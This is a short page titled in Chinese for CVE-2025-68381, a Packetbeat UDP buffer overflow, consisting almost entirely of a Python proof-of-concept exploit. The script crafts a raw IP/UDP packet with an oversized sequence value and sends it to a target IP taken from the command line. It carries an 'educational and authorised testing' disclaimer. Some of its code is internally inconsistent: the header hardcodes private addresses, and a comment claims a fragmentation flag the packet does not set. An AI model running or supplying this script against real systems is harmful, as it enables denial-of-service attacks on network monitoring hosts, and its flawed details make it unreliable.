CVE-2025-68381 Packetbeat UDP数据包缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-68381 PoC - Packetbeat UDP Buffer Overflow Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def create_malformed_udp_packet(): """ Create a malformed UDP packet with invalid fragment sequence number to trigger buffer overflow in Packetbeat """ # IP Header (20 bytes) ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, # Version 4, IHL 5 0x00, # TOS 0x0040, # Total Length (64 bytes) 0x0000, # Identification 0x0000, # Flags and Fragment Offset (MF bit set for fragmentation) 64, # TTL 17, # Protocol (UDP) 0x0000, # Checksum (placeholder) socket.inet_aton('192.168.1.100'), # Source IP socket.inet_aton('192.168.1.1') # Dest IP ) # UDP Header (8 bytes) src_port = 12345 dst_port = 53 # DNS port udp_length = 28 # Malformed payload with invalid fragment sequence number # This triggers the bounds check issue in Packetbeat payload = b'\x00' * 12 + struct.pack('!I', 0xFFFFFFFF) # Invalid sequence number udp_header = struct.pack('!HHHH', src_port, dst_port, udp_length, 0x0000 # Checksum placeholder ) packet = ip_header + udp_header + payload return packet def send_exploit(target_ip, target_port=53): """Send the exploit packet to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) try: packet = create_malformed_udp_packet() sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malformed UDP packet sent to {target_ip}") print(f"[+] Packet contains invalid fragment sequence number") print(f"[+] This may trigger buffer overflow in vulnerable Packetbeat") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) send_exploit(sys.argv[1])